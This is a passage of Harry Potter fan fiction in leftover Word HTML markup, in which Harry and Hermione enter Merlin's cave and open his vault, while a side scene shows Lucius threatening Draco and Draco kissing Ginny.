class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The young man gave her a smile. &#8220;Well I&#8217;m waiting for the\nshield to drop, which will be in about five minutes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione both nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So this is Camelot.&#8221; Harry was impressed he looked up and\nsaw the banner that read Home of the Camelot Falcons. &#8220;Home of the Camelot\nFalcons?&#8221; He asked out loud.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The young man nodded with a huge smile. &#8220;Yep, we won the\nWorld Cup this year.&nbsp; It was very\nexciting.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh, so the Falcons are a Quidditch\nTeam?&#8221; Harry found that odd. &#8220;Well why haven&#8217;t we heard of them?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The young man sighed, &#8220;up until now we never qualified for\nanything, I tell you we had the worse team ever.&#8221; He said shaking his head back\nand forth with disgrace.&nbsp; His face then\nbroke into a huge grin. &#8220;Well the worse team that is until we got a new coach\nlast year.&nbsp; We have been practicing extra\nhard since he came to us that we actually made it to the World Cup.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So what brings you two obvious travelers to Camelot?&#8221; The\nyoung man asked with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just need to get into Merlin&#8217;s Cave that&#8217;s all.&#8221; Hermione\nreplied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; After what sounded\nlike electricity fizzling and cracking the barrier gave way and the city of Camelot\nwas open.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah, it&#8217;s open.&#8221; The young man said. &#8220;Why don&#8217;t you two hop\nin the back of my wagon? I can drive you over to where Merlin&#8217;s cave is\nlocated.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That would be great, thanks.&#8221; Harry replied as he and\nHermione climbed into the back of the wagon.&nbsp;\nThe young man started up his horse and they headed into the city.&nbsp; &#8220;By the way if you ever need anything you can\nask for me. I&#8217;m Caleb. I run one of the local pubs and Inn.&#8221;\nHe said looking back at them for a moment. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Thanks Caleb we&#8217;ll remember that.&#8221; Hermione replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I have better prices for the stay in case you&#8217;re\nwondering.&nbsp; My archrival always has it in\nfor me, trying to make me look bad.&nbsp;\nWhatever you do don&#8217;t believe a word he says.&#8221; Caleb said as he pulled\nhis wagon to a stop by the base of a hill.&nbsp;\n&#8220;The entrance to Merlin&#8217;s cave is up that hill behind the waterfall.&#8221;\nCaleb replied with a smile as he watched the two travelers jump down from his\nwagon bed.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione started up the hill, it felt more like a\ntiny mountain then a hill while trying to climb it.&nbsp; As they reached the top a waterfall stood in\ntheir way.&nbsp; A nice mist came from the\nbase of the waterfall as they carefully stepped along the small stone pathway;\nthere were flecks of gold in the stones going behind the waterfall.&nbsp; They stepped into a cavern where amethyst\ncrystals of deep purple and the size of their heads were sticking out of the\nwalls. As Harry and Hermione stepped near to one it lit up with light.&nbsp; They approached the entrance to Merlin&#8217;s cave\nwhere a large boulder stood in their path preventing them from entering Merlin&#8217;s\nprivate sanctuary. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny raced down the corridor she came to a door and could\nhear yelling on the other side of it.&nbsp;\nShe knew Draco and his father were in there and it didn&#8217;t sound\ngood.&nbsp; She opened the door very quietly,\njust enough to see inside and not bring attention to herself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius had grabbed his son by the\nfront of his robe and was yelling at him &#8220;You will do what you&#8217;re told boy!&#8221; He\nsnarled, dropping the robe from his grasp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I will not,&#8221; Draco openly defied his father. &#8220;I will have\nnothing to do with that pathetic&#8212;&#8221; Draco was interrupted as the back of his\nfather&#8217;s hand connected with his cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco rubbed his cheek as his father\nglared at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How dare you speak that way about&#8212;&#8221; Lucius\npaused taking a breath. &#8220;This is your only warning, you defy me again and well\nlet&#8217;s just say I know of another who will take your place as Heir, or rather\nshould I say Heiress.&#8221; With that Lucius swung around,\nhis cloak flying out behind him as he neared the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; Ginny seeing him\nhead in her direction backed away from the door, she moved away from the door a\nbit and hid in the small alcove available there.&nbsp; She saw Lucius step\nout of the room and look in both directions before heading down the corridor\nand out of sight.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She opened the door and stepped inside, she found Draco\nstaring out the window his arms folded across his chest. &#8220;Draco, are you\nalright?&#8221;&nbsp; Her heart broke seeing him in\nsuch distress.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He whirled around facing her, his face set in a glare.&nbsp; As soon as he saw her, his glare softened.\n&#8220;I&#8217;ll be fine Ginny.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny closed the door behind her and moved towards him, she\nthrew her arms around his neck and buried her face within his chest.&nbsp;&nbsp; &#8220;Are you sure?&#8221; She said asked her voice\nmuffled a bit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His arms went around her, &#8220;yes I&#8217;m sure, everything will\nwork out you&#8217;ll see.&#8221; Draco&#8217;s hand framed her face\nand pulling up so he could look her in the eye.&nbsp;\n&#8220;Soon my father won&#8217;t be able to bother me anymore.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Do you plan on leaving home after next year?&#8221; Ginny felt a bit\nconfused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No.&#8221; He shook his head, knowing that this was not the time\nto tell her. &#8220;My father and I will come to an understanding of sorts.&#8221; Draco\nrubbed her cheek lightly with his thumb. &#8220;Whatever happens you&#8217;ll stay by my\nside, won&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny nodded, &#8220;you know I would.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco smiled to himself, hiding a grin of extreme\nsatisfaction.&nbsp;&nbsp; &#8220;I knew I could count on\nyou.&#8221; He whispered then he bent down capturing her mouth with his in a\npowerful, mind-numbing kiss.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny felt herself loose control of her legs, Draco must\nhave sensed this as he wrapped his arms around her more holding her tighter to\nhim.&nbsp; She felt his tongue beckon and\ncommand hers to respond.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">After many spells and Harry trying to move the boulder\nphysically, Hermione out of frustration had even kicked the big rock to see if\nit moved.&nbsp; Instead, she ended up hurting\nher foot.&nbsp; She had to use more of that\nhealing elixir.&nbsp; The two of them were\nleaning against the boulder out of ideas; they were just staring straight\nahead.&nbsp; Harry suddenly jumped up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How about this? Open sesame&#8221; Harry&#8217;s arms were extended\ndramatically towards the heavens. Nothing happened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione was looking up at him oddly, &#8220;that was supposed to\ndo what exactly?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry shrugged &#8220;I don&#8217;t know, it worked for Ali Baba and the\nforty thieves.&nbsp; Why wouldn&#8217;t it work for\nus?&#8221; He grinned down at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well, for one I doubt Merlin was one of the forty thieves.&#8221;\nShe said as her eyes held a bit of amusement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Okay if you think you&#8217;re so smart, how do we get inside?&#8221;\nHarry said crossing his arms over his chest, still grinning at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">That sounded like a challenge to her, she started to get\nup.&nbsp; Hermione rested her hand against the\nboulder to help hoist herself up off the ground getting to her feet.&nbsp; In little less then a second the boulder\nstarted to move and roll out of the way. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Harry&#8217;s jaw dropped\nand then he looked at her; Hermione had a shocked statement on her face as\nwell. &#8220;How did you do that?&#8221; He asked in awe.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione recovered from her shock. &#8220;Uh, it&#8217;s all in the\nmind.&#8221; She said pointing to her forehead looking like she knew what she was\ntalking about.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well then why didn&#8217;t your mind open the door before?&#8221; Harry\nsmirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Because, it didn&#8217;t want too.&nbsp; It wasn&#8217;t the right time.&#8221; Hermione replied\nwith her own smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He was going to say something else but before he could she\nstepped into Merlin&#8217;s cave. Harry shook his head back and forth with amusement\nand followed after her.&nbsp; A large diamond\nsticking down out of the ceiling automatically lit up filling the entire room\nwith what looked like bright sunlight.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Wow.&#8221; They both said as the glanced about the cave.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">There were shelves along the walls of the cave; on the left\nside of the cave on the top shelf was a row of crystal balls in all different\nsizes and colors.&nbsp; They could see that some\nof them were formed of quartz while others were formed of a dark green stone\nthat could only be identified as Emerald.&nbsp;\nIdols of stone statues and gargoyles and other creatures aligned the\nsecond shelf down.&nbsp; The third shelf down\nwas filled with scrolls.&nbsp; On the other\nside of the cave was the same layout only at the top was what looked like\nMuggle versions of telescopes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The shelf beneath that held thick leather bound books, on\nthe last shelf were staffs made of gold and onyx.&nbsp; One staff in particular caught Harry&#8217;s eye\nand he walked over to the shelf he looked over at Hermione who was already\nlooking through opened scrolls of parchment messily strewn about a large\ntable.&nbsp; He turned his attention back to\nthe shelf and the staff and picked it up.&nbsp;\nThere was what looked like an amulet resting atop of long staff.&nbsp; He picked it up off the shelf and saw a ting\nlabel hang off of it.&nbsp; He read it quietly\nto himself <i style="mso-bidi-font-style:normal">Amulet of Torna</i>.&nbsp; There was a small but impressive green stone\nin the direct center of a webbing of gold. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry set the staff back down on the shelf, he looked up at\nthe wall and a map of an ancient city was to his right.&nbsp; Down in the left corner of the paper read\nCity of Torna,\na wonderful spot for relaxing. He laughed to himself, he never imagined Merlin\nthe one to ever relax. He looked back over at Hermione who was studying an\nancient looking scroll.&nbsp; He walked over\nto where she was standing and read over her shoulder.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Can you read that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Startled, Hermione jumped a bit not having heard him\napproach.&nbsp; She turned her head looking at\nhim. &#8220;Yes.&#8221; She said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How? It looks like a foreign language.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione smiled into his eyes, &#8220;it is. It&#8217;s called Romaji; it&#8217;s a written form of Japanese.&nbsp; Of course there are so many forms and ways to\nread Japanese, this is one of the easiest.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You can understand Japanese?&#8221; Harry was impressed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She nodded, &#8220;and Spanish and French, oh and a little bit of\nGerman.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Wow, so all those times Cho was\nyelling at you or saying things under her breath that wasn&#8217;t in English\nwhenever you were near her, you could understand?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head, &#8220;uh no.&nbsp; Cho is Chinese not\nJapanese.&nbsp; I mean sure some words sound\nsimilar but it&#8217;s still not the same.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry couldn&#8217;t help the blush of embarrassment rise to his\ncheeks, &#8220;I knew that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She couldn&#8217;t help but smile, Harry just looked so cute when\nhe was embarrassed.&nbsp; &#8220;It&#8217;s okay; a lot of\npeople get them mixed up.&nbsp; You aren&#8217;t the\nfirst.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You&#8217;re just saying that to make me feel better.&#8221; He said\nlooking away from her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;And what did Cho say about me\nwhenever I was near her?&#8221; Hermione&#8217;s eyes narrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How should I know?&#8221; Harry replied with a smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Cause you just said that she would say things about me in\nEnglish, why did she suddenly have to hid her comments from you.&#8221; Hermione&#8217;s\nhands found her hips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Oh Harry remembered very well what Cho\nhad said about Hermione, but he wasn&#8217;t stupid enough to tell her. For the fear\nof after they got back to Hogwarts, Hermione might go and tear Cho to shreds. By hand.&nbsp;\n&#8220;Only that you are far prettier than she was, and that you were smarter,\ntaller and well the best damn witch Hogwarts has ever seen.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s eyes narrowed in suspicion.&nbsp; &#8220;Are you sure?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry crossed his fingers behind his back, &#8220;would I lie?&#8221; He\ndidn&#8217;t lie it was true of what Cho had said, but\nthere were a lot of insults along with those words.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;About what Cho said, yes you\nwould.&#8221; Hermione saw Harry had his arm behind his back, &#8220;what are you doing\nthere.&#8221; She tried to look and he immediately uncrossed his fingers.&nbsp; She looked at him her jaw dropped in half\namusement and half annoyance, &#8220;you did lie.&#8221; She narrowed her eyes and started\nto turn away from him in her growing anger for his lying. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He quickly grabbed her by the shoulders before she could\nturn away completely and pulled her against him, she was about to protest when\nhis mouth covered over hers and his arms went around her. Harry felt her\nstruggling in his embrace but he only tightened his hold and deepened his kiss.&nbsp; His tongue touching hers, craving to taste\nmore of her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione gave a soft whimper as she felt herself responding\nto his kiss and his touch; she stopped her struggling and melted against\nhim.&nbsp; Her arms then went around his neck\nas she pressed her mouth harder against his, as the strokes of his tongue\nagainst hers grew more confident and almost demanding. This only caused her to\nhold onto him tighter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They both pulled away when the need of air became too much\nto bare, his hands gently framed her face and she glanced up at him. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;What does it matter\nwhat Cho has said?&#8221; Harry spoke softly leaning closer\nto her ear. &#8220;What matters is what I said and how I feel.&#8221; He pressed a tiny\nkiss to the spot just below her ear, giving her the sweet feel of tingles running\nthrough her. Her eyes closed in bliss feeling his lips and tongue dance her\nneck and throat.&nbsp; Hermione&#8217;s fingers\nreached up into his hair as his mouth moved towards her collarbone, and his\nhands found their way under her shirt rubbing up and down her back, his fingers\nleaving tingly trails wherever they touched her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry.&#8221; She panted, &#8220;need&#8212;to&#8212;stop.&#8221; Hermione almost\ncouldn&#8217;t finish her sentence, it was almost too much to handle. Her body and\nits desire were almost controlling her. Almost.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why?&#8221; He asked innocently and continued to kiss up her\nneck.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Uh,&#8221; her eyes blissfully fluttered closed.&nbsp; <i style="mso-bidi-font-style:normal">You\nfeel so nice, I don&#8217;t want you to ever stop, </i>she thought to herself. <i style="mso-bidi-font-style:normal">No, no the scepter remember?</i> Her head\nreminded her. &#8220;Harry, if we don&#8217;t stop now, I won&#8217;t be able to in a minute. And\nwe still have to find the scepter.&#8221;&nbsp; She\ntook a deep breath as Harry pulled a little bit away to gaze into her eyes that\nwere dark with desire and need.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry gave her a soft smile, &#8220;All right Hermione.&#8221; He also\ntook a deep breath trying to regain his composure.<i style="mso-bidi-font-style:\nnormal"> </i>&nbsp;&nbsp;&#8220;Besides, I don&#8217;t think\nMerlin would appreciate two hormonal driven teenagers going at it in his\nprivate sanctuary, do you?&#8221; He said shrugging his shoulders with an adorable\ngrin on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione cracked a smile, &#8220;no I suppose not.&#8221; She said\nstraightening her shirt from its rumpled up condition. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;She glanced about the\ncave some more as Harry went to look along the other shelves for anything\nimportant about the scepter they were searching for.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione.&#8221; He said from a squatting position on the\nfloor.&nbsp; He looked up at her &#8220;I remember\nRowena saying something about the scepter being in a vault.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded, she remembered that bit too.&nbsp; &#8220;What does the vault looks like?&#8221;&nbsp; She continued looking through the scrolls on\nthe table for anything describing what the vault would look like.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry shrugged. &#8220;It&#8217;s probably huge or a good enough size\nfor someone to walk into it.&#8221;&nbsp; He noticed\nthere were a lot of large crystals of different shades and colors and several\ntriangle shaped prisms gathered about the floor in several different corners of\nthe cave. He found an opened scroll that told him about Crystal\nlighting and how a simple crystal can harness the suns rays providing light\neven in the dark for several weeks at a time.&nbsp;\nAn ancient version of the Muggle light bulb Harry thought. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">As Harry stood something glittered once getting his\nattention on the other side of the cave where it was still dark.&nbsp; He carefully walked towards the darkness\nanother ceiling crystal lit up illuminating the darkened area of the cave.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione too saw the light come on and caught up to where\nHarry was.&nbsp; They both stood facing a\ngiant silver door with no handle.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I think we use the incantation to get into the vault.&#8221;\nHermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded. &#8220;Okay, what is it?&#8221; He looked at her as she\nslowly turned her head to face him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You mean you don&#8217;t know it, didn&#8217;t you read the parchment\nthat Professor Dumbledore gave us?&#8221; Hermione said wide-eyed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes, but I don&#8217;t remember it. I thought you would.&#8221; He said\nhis eyes just as wide as hers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I certainly don&#8217;t remember it, I only saw it for a\nsecond.&#8221;&nbsp; She was getting a huge\nheadache; she closed her eyes rubbing her temples with tired fingers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well,&#8221; Harry stepped in front of her and reached over and\nwith gentle fingers took her hands down and started massaging her temples for\nher.&nbsp; &#8220;Let&#8217;s try to remember. I mean it\nmust be in our heads somewhere.&#8221;&nbsp; He heard\nher sigh with relief, &#8220;Feel alright?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She nodded as he continued to rub her forehead.&nbsp; Hermione thought hard, poking into the back\nof her head, as far as she could.&nbsp; But\nnothing was coming to her.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s fingers dropped from her temples, only for him to\nrest his forehead against hers.&nbsp; He\nreached down with his left hand and grasped hers tenderly.&nbsp; A strange feeling came over the both of them\nat the same time. Both their eyes closed, it was like the time they felt the\nminds join when Rowena used that spell to see inside their memories.&nbsp; Harry wrapped his right arm around her waist\nas Hermione wrapped hers around his.&nbsp;\nThey stepped closer together as if on cue, they could feel each other&#8217;s\nheartbeat. It was as if some dam broke in their head and the information they\nwere looking for flooded their minds, both their eyes popped open and they knew\nwhat it was they had to do.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;ve got it.&#8221; They both said at the same time and they\ncouldn&#8217;t help the echoes of laughter coming from them.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They pulled their wands from their holders and held them in\ntheir right hands pointed towards the vault door, while their left hands\nremained intertwined. &#8220;Earth, sun, moon and sky, open now and reveal thee to thine eye&#8221; They spoke at the same time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The vault door started to shake a bit, dust seemed to erupt\nfrom the seems of the door as it opened agonizingly slow.&nbsp; Harry and Hermione looked at each other with\nthe same statement on their face. That how&#8212;long&#8212;is&#8212;this&#8212;gonna&#8212;take look.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shrugged, &#8220;well the door had been sealed for over a\nthousand years, maybe it&#8217;s a bit stuck.&#8221; She said with a half a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Perhaps.&#8221; Harry said.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The door was open completely.&nbsp; Harry and Hermione stepped inside as the air\nstill seemed thick as they seemed to fight for the need to breathe.&nbsp; After taking a couple of breaths the vault\nseemed to fill with air enough to breathe comfortably.&nbsp; They couldn&#8217;t believe all the jewels and gold\nin large piles all over the ground.&nbsp;\nNecklaces of diamonds, pearls, sapphires and rubies hung on hooks upon\nthe wall. Beautiful gowns of silk and satin were also on hooks across from the\njewels they went with.&nbsp; Robes fit for a\nking made of velvet with satin trims were also in the mix. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">There were several pieces of pure spun gold draped across\nthe roof of the vault. Several different goblets made of thick quartz crystal\nand pink rose quartz were resting on tables made of marble. On the back wall of\nthe vault was a portrait of a man wearing king&#8217;s robes holding a sword up\ntowards the heavens in a mighty intimidating pose.&nbsp; Hermione figured that the portrait was of\nKing Arthur and his sword Excalibur. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They found a large crystal ball resting on a red velvet\ncushion, which sat on a black marble table in the center of the vault.&nbsp; There was a message written in ink on a piece\nof parchment that said whoever opens the vault press your hands to the crystal\nball and see what happens.&nbsp; Harry had\nread it out loud to Hermione who was still looking at everything in the vault\nin complete awe.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione then walked over to where Harry was and looked into\nthe crystal ball, &#8220;well are you going to touch it?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I just hope it&#8217;s not some type of burglar alarm that will\nfry me for trespassing into the vault.&#8221; Harry said as Hermione picked up the\nparchment and also read for herself what it said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione got ready to touch the crystal ball, &#8220;well if you\nwon&#8217;t do 